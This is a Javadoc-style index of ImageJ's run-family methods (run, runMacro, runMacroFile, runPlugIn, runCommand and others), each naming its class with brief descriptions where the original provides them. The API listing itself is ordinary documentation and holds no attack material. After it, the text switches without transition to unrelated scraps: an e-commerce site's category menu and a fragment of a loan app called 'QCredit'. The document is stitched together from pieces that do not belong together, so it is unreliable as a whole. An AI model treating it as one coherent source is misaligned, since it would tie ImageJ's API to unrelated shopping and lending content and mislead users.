Creates a panel with the hierarchical tree structure of ImageJ's commands.
- run(String) - Method in class ij.plugin.Converter
-
- run(String) - Method in class ij.plugin.DICOM
-
- run(String) - Method in class ij.plugin.Distribution
-
- run(String) - Method in class ij.plugin.DragAndDrop
-
- run() - Method in class ij.plugin.DragAndDrop
-
- run(String) - Method in class ij.plugin.Duplicator
-
- run(ImagePlus) - Method in class ij.plugin.Duplicator
-
Returns a copy of the image, stack or hyperstack contained in the specified ImagePlus.
- run(ImagePlus, int, int) - Method in class ij.plugin.Duplicator
-
Returns a new stack containing a subrange of the specified stack.
- run(ImagePlus, int, int, int, int, int, int) - Method in class ij.plugin.Duplicator
-
Returns a new hyperstack containing a possibly reduced version of the input image.
- run(String) - Method in class ij.plugin.EventListener
-
- run(String) - Method in class ij.plugin.FFT
-
- run(String) - Method in class ij.plugin.FFTMath
-
- run(String) - Method in class ij.plugin.FileInfoVirtualStack
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Analyzer
-
- run(ImageProcessor) - Method in class ij.plugin.filter.AVI_Writer
-
Asks for the compression type and filename; then saves as AVI file
- run(ImageProcessor) - Method in class ij.plugin.filter.BackgroundSubtracter
-
Background for any image type
- run(ImageProcessor) - Method in class ij.plugin.filter.Benchmark
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Binary
-
- run(ImageProcessor) - Method in class ij.plugin.filter.CalibrationBar
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Calibrator
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Convolver
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Duplicater
-
Deprecated.
- run(ImageProcessor) - Method in class ij.plugin.filter.EDM
-
Called by the PlugInFilterRunner to process the image or one frame of a stack
- run(ImageProcessor) - Method in class ij.plugin.filter.FFTCustomFilter
-
- run(ImageProcessor) - Method in class ij.plugin.filter.FFTFilter
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Filler
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Filters
-
- run(ImageProcessor) - Method in class ij.plugin.filter.FractalBoxCounter
-
- run(ImageProcessor) - Method in class ij.plugin.filter.GaussianBlur
-
This method is invoked for each slice during execution
- run(ImageProcessor) - Method in class ij.plugin.filter.ImageMath
-
- run(ImageProcessor) - Method in class ij.plugin.filter.ImageProperties
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Info
-
- run(ImageProcessor) - Method in class ij.plugin.filter.LineGraphAnalyzer
-
- run(ImageProcessor) - Method in class ij.plugin.filter.LutApplier
-
- run(ImageProcessor) - Method in class ij.plugin.filter.LutViewer
-
- run(ImageProcessor) - Method in class ij.plugin.filter.MaximumFinder
-
The plugin is inferred from ImageJ by this method
- run(ImageProcessor) - Method in class ij.plugin.filter.ParticleAnalyzer
-
- run(ImageProcessor) - Method in interface ij.plugin.filter.PlugInFilter
-
Filters use this method to process the image.
- run() - Method in class ij.plugin.filter.PlugInFilterRunner
-
The dispatcher for the background threads
- run(ImageProcessor) - Method in class ij.plugin.filter.Printer
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Profiler
-
- run(ImageProcessor) - Method in class ij.plugin.filter.RankFilters
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Resizer
-
Deprecated.
- run(ImageProcessor) - Method in class ij.plugin.filter.RGBStackSplitter
-
- run(ImageProcessor) - Method in class ij.plugin.filter.RoiWriter
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Rotator
-
- run(ImageProcessor) - Method in class ij.plugin.filter.SaltAndPepper
-
- run(ImageProcessor) - Method in class ij.plugin.filter.ScaleDialog
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Shadows
-
- run(ImageProcessor) - Method in class ij.plugin.filter.StackLabeler
-
- run(ImageProcessor) - Method in class ij.plugin.filter.ThresholdToSelection
-
- run(ImagePlus) - Static method in class ij.plugin.filter.ThresholdToSelection
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Transformer
-
- run(ImageProcessor) - Method in class ij.plugin.filter.Translator
-
- run(ImageProcessor) - Method in class ij.plugin.filter.UnsharpMask
-
This method is invoked for each slice or color channel.
- run(ImageProcessor) - Method in class ij.plugin.filter.Writer
-
- run(ImageProcessor) - Method in class ij.plugin.filter.XYWriter
-
- run(ImageProcessor) - Method in class ij.plugin.filter.ZAxisProfiler
-
- run(String) - Method in class ij.plugin.Filters3D
-
- run(String) - Method in class ij.plugin.FITS_Reader
-
- run(String) - Method in class ij.plugin.FITS_Writer
-
- run(String) - Method in class ij.plugin.FolderOpener
-
- run() - Method in class ij.plugin.frame.ColorThresholder
-
- run(String) - Method in class ij.plugin.frame.ContrastAdjuster
-
- run() - Method in class ij.plugin.frame.ContrastAdjuster
-
- run() - Method in class ij.plugin.frame.Editor
-
Downloads BeanShell or Jython interpreter using a separate thread.
- run() - Method in class ij.plugin.frame.LineWidthAdjuster
-
- run(String) - Method in class ij.plugin.frame.PlugInDialog
-
- run(String) - Method in class ij.plugin.frame.PlugInFrame
-
- run() - Method in class ij.plugin.frame.ThresholdAdjuster
-
- run(String) - Method in class ij.plugin.GaussianBlur3D
-
- run(String) - Method in class ij.plugin.GelAnalyzer
-
- run(String) - Method in class ij.plugin.GifWriter
-
- run(String) - Method in class ij.plugin.GroupedZProjector
-
- run(String) - Method in class ij.plugin.Histogram
-
- run(String) - Method in class ij.plugin.Hotkeys
-
- run(String) - Method in class ij.plugin.HyperStackConverter
-
- run(String) - Method in class ij.plugin.HyperStackMaker
-
- run(String) - Method in class ij.plugin.HyperStackReducer
-
- run(String) - Method in class ij.plugin.ImageCalculator
-
- run(String, ImagePlus, ImagePlus) - Method in class ij.plugin.ImageCalculator
-
- run(String) - Method in class ij.plugin.ImageJ_Updater
-
- run(String) - Method in class ij.plugin.ImagesToStack
-
- run(String) - Method in class ij.plugin.Installer
-
- run(String) - Method in class ij.plugin.JavaProperties
-
- run(String) - Method in class ij.plugin.JpegWriter
-
- run(String) - Method in class ij.plugin.ListVirtualStack
-
- run(String) - Method in class ij.plugin.LUT_Editor
-
- run(String) - Method in class ij.plugin.LutLoader
-
If 'arg'="", displays a file open dialog and opens the specified
LUT.
- run(String) - Method in class ij.plugin.Macro_Runner
-
Opens and runs the specified macro file (.txt or .ijm) or script file (.js, .bsh or .py)
on the current thread.
- run(String) - Method in class ij.plugin.MacroInstaller
-
- run(String) - Method in class ij.plugin.MeasurementsWriter
-
- run(String) - Method in class ij.plugin.Memory
-
- run(String) - Method in class ij.plugin.MontageMaker
-
- run(String) - Method in class ij.plugin.NewPlugin
-
- run(String) - Method in class ij.plugin.NextImageOpener
-
- run(String) - Method in class ij.plugin.Options
-
- run(String) - Method in class ij.plugin.Orthogonal_Views
-
- run(String) - Method in class ij.plugin.OverlayCommands
-
- run(String) - Method in class ij.plugin.OverlayLabels
-
- run(String) - Method in class ij.plugin.PGM_Reader
-
- run(String) - Method in interface ij.plugin.PlugIn
-
This method is called when the plugin is loaded.
- run(String) - Method in class ij.plugin.PluginInstaller
-
- run(String) - Method in class ij.plugin.PlugInInterpreter
-
Run script on separate thread.
- run(String, String) - Method in class ij.plugin.PlugInInterpreter
-
Run script on current thread.
- run(String) - Method in class ij.plugin.PNG_Writer
-
- run(String) - Method in class ij.plugin.PNM_Writer
-
- run(String) - Method in class ij.plugin.Projector
-
- run(String) - Method in class ij.plugin.ProxySettings
-
- run(String) - Method in class ij.plugin.Raw
-
- run(String) - Method in class ij.plugin.RectToolOptions
-
- run(String) - Method in class ij.plugin.Resizer
-
- run(String) - Method in class ij.plugin.ResultsSorter
-
- run(String) - Method in class ij.plugin.RGBStackConverter
-
- run(String) - Method in class ij.plugin.RGBStackMerge
-
- run(String) - Method in class ij.plugin.RoiEnlarger
-
- run(String) - Method in class ij.plugin.RoiInterpolator
-
- run(String) - Method in class ij.plugin.RoiReader
-
- run(String) - Method in class ij.plugin.RoiRotator
-
- run(String) - Method in class ij.plugin.RoiScaler
-
- run(String) - Method in class ij.plugin.ScaleBar
-
- run(String) - Method in class ij.plugin.Scaler
-
- run(String) - Method in class ij.plugin.ScreenGrabber
-
- run(String) - Method in class ij.plugin.Selection
-
- run(String) - Method in class ij.plugin.SimpleCommands
-
- run(String) - Method in class ij.plugin.Slicer
-
- run(String) - Method in class ij.plugin.SpecifyROI
-
- run(String) - Method in class ij.plugin.Stack_Statistics
-
- run(String) - Method in class ij.plugin.StackCombiner
-
- run(String) - Method in class ij.plugin.StackEditor
-
- run(String) - Method in class ij.plugin.StackInserter
-
- run(String) - Method in class ij.plugin.StackMaker
-
- run(String) - Method in class ij.plugin.StackReducer
-
- run(String) - Method in class ij.plugin.StackReverser
-
- run(String) - Method in class ij.plugin.StackWriter
-
- run(String) - Method in class ij.plugin.Straightener
-
- run(String) - Method in class ij.plugin.SubHyperstackMaker
-
- run(String) - Method in class ij.plugin.SubstackMaker
-
- run(String) - Method in class ij.plugin.SurfacePlotter
-
- run(String) - Method in class ij.plugin.TextFileReader
-
- run(String) - Method in class ij.plugin.TextReader
-
- run(String) - Method in class ij.plugin.TextWriter
-
- run(String) - Method in class ij.plugin.ThreadLister
-
- run(String) - Method in class ij.plugin.Thresholder
-
- run(String) - Method in class ij.plugin.Timer
-
- run(String) - Method in class ij.plugin.tool.BrushTool
-
- run() - Method in class ij.plugin.tool.BrushTool
-
- run() - Method in class ij.plugin.tool.OverlayBrushTool
-
- run(String) - Method in class ij.plugin.tool.PlugInTool
-
- run(String) - Method in class ij.plugin.URLOpener
-
If 'urlOrName' is a URL, opens the image at that URL.
- run(String) - Method in class ij.plugin.WandToolOptions
-
- run(String) - Method in class ij.plugin.WindowOrganizer
-
- run(String) - Method in class ij.plugin.XY_Reader
-
- run(String) - Method in class ij.plugin.XYCoordinates
-
- run(String) - Method in class ij.plugin.Zoom
-
'arg' must be "in", "out", "100%" or "orig".
- run(String) - Method in class ij.plugin.ZProjector
-
- run(ImagePlus, Roi[]) - Method in class ij.process.BinaryInterpolator
-
- run(ImageStack) - Method in class ij.process.BinaryInterpolator
-
- run() - Method in class ij.RecentOpener
-
Open the file and move the path to top of the submenu.
- run() - Method in class ij.text.TextPanel
-
For better performance, open double-clicked files on
separate thread instead of on event dispatch thread.
- RUN_MACRO - Static variable in interface ij.macro.MacroConstants
-
- RUN_TO_CARET - Static variable in class ij.macro.Interpreter
-
- runBatchMacro(String, ImagePlus) - Method in class ij.macro.Interpreter
-
Runs Process/Batch/ macros.
- runBeanShell(String, String) - Static method in class ij.plugin.Macro_Runner
-
Runs a BeanShell script on the current thread, passing a string argument,
which the script can retrieve using the getArgument() function.
- runCommand(String) - Method in class ij.plugin.frame.RoiManager
-
Executes the ROI Manager "Add", "Add & Draw", "Update", "Delete", "Measure", "Draw",
"Show All", "Show None", "Fill", "Deselect", "Select All", "Combine", "AND", "XOR", "Split",
"Sort" or "Multi Measure" command.
- runCommand(String, String) - Method in class ij.plugin.frame.RoiManager
-
Executes the ROI Manager "Open", "Save" or "Rename" command.
- runCommand(String, String, double) - Method in class ij.plugin.frame.RoiManager
-
Adds the current selection to the ROI Manager, using the
specified color (a 6 digit hex string) and line width.
- runFilterPlugIn(Object, String, String) - Method in class ij.ImageJ
-
- runJavaScript(String, String) - Method in class ij.plugin.Macro_Runner
-
Runs a JavaScript script on the current thread, passing a string argument,
which the script can retrieve using the getArgument() function.
- runMacro(String) - Static method in class ij.IJ
-
Runs the macro contained in the string macro
.
- runMacro(String, String) - Static method in class ij.IJ
-
Runs the macro contained in the string macro
.
- runMacro(Program, int, String) - Method in class ij.macro.Interpreter
-
Interprets the specified tokenized macro starting at the specified location.
- runMacro(String, String) - Method in class ij.plugin.Macro_Runner
-
Runs the specified macro on the current thread.
- runMacro(String) - Method in class ij.plugin.MacroInstaller
-
- runMacro(String, Editor) - Method in class ij.plugin.MacroInstaller
-
- runMacroCommand(String) - Static method in class ij.plugin.MacroInstaller
-
Runs a command in the Plugins/Macros submenu on the current thread.
- runMacroFile(String, String) - Static method in class ij.IJ
-
Runs the specified macro or script file in the current thread.
- runMacroFile(String) - Static method in class ij.IJ
-
Runs the specified macro file.
- runMacroFile(String, String) - Method in class ij.plugin.Macro_Runner
-
Opens and runs the specified macro or script on the current
thread.
- runMacroFromIJJar(String, String) - Method in class ij.plugin.Macro_Runner
-
- runMacroFromJar(String, String) - Static method in class ij.plugin.Macro_Runner
-
Runs the specified macro from a JAR file in the plugins folder,
passing it the specified argument.
- runMacroShortcut(String) - Static method in class ij.plugin.MacroInstaller
-
- runMacroTool(String) - Method in class ij.plugin.MacroInstaller
-
- runMacroTool(String) - Method in class ij.plugin.tool.MacroToolRunner
-
- runMacroTool(String) - Method in class ij.plugin.tool.PlugInTool
-
These methods are overridden by MacroToolRunner.
- runMenuTool(String, String) - Method in class ij.plugin.MacroInstaller
-
- runMenuTool(String, String) - Method in class ij.plugin.tool.MacroToolRunner
-
- runMenuTool(String, String) - Method in class ij.plugin.tool.PlugInTool
-
- running - Variable in class ij.gui.ImageWindow
-
This variable is set false if the user presses the escape key or closes the window.
- running2 - Variable in class ij.gui.ImageWindow
-
This variable is set false if the user clicks in this
window, presses the escape key, or closes the window.
- runPlugIn(ImagePlus, String, String) - Static method in class ij.IJ
-
Runs the specified plugin using the specified image.
- runPlugIn(String, String) - Static method in class ij.IJ
-
Runs the specified plugin and returns a reference to it.
- runPlugIn(String, String, String) - Static method in class ij.IJ
-
Runs the specified plugin and returns a reference to it.
- runPython(String, String) - Static method in class ij.plugin.Macro_Runner
-
Runs a Prython script on the current thread, passing a string argument,
which the script can retrieve using the getArgument() function.
- runShortcut(Program, int, String) - Method in class ij.macro.MacroRunner
-
Runs tokenized macro on current thread if pgm.queueCommands is true.
- runSocketListener - Static variable in class ij.Prefs
-
Run the SocketListener.
- runUserPlugIn(String, String, String, boolean) - Method in class ij.ImageJ
-


E-commerce
Home
(current)
Category
Search
Cart
Login
Mens
Dress
Dress
Dress
Womens
Dress
Dress
Dress
Electronics
Mobile
Mobile
Mobile
Top brand | Mobile
Top brand | Mobile


QCredit
Signout
Apply for loan
View loan history
Quick Credit.
... a new way to manage your earnings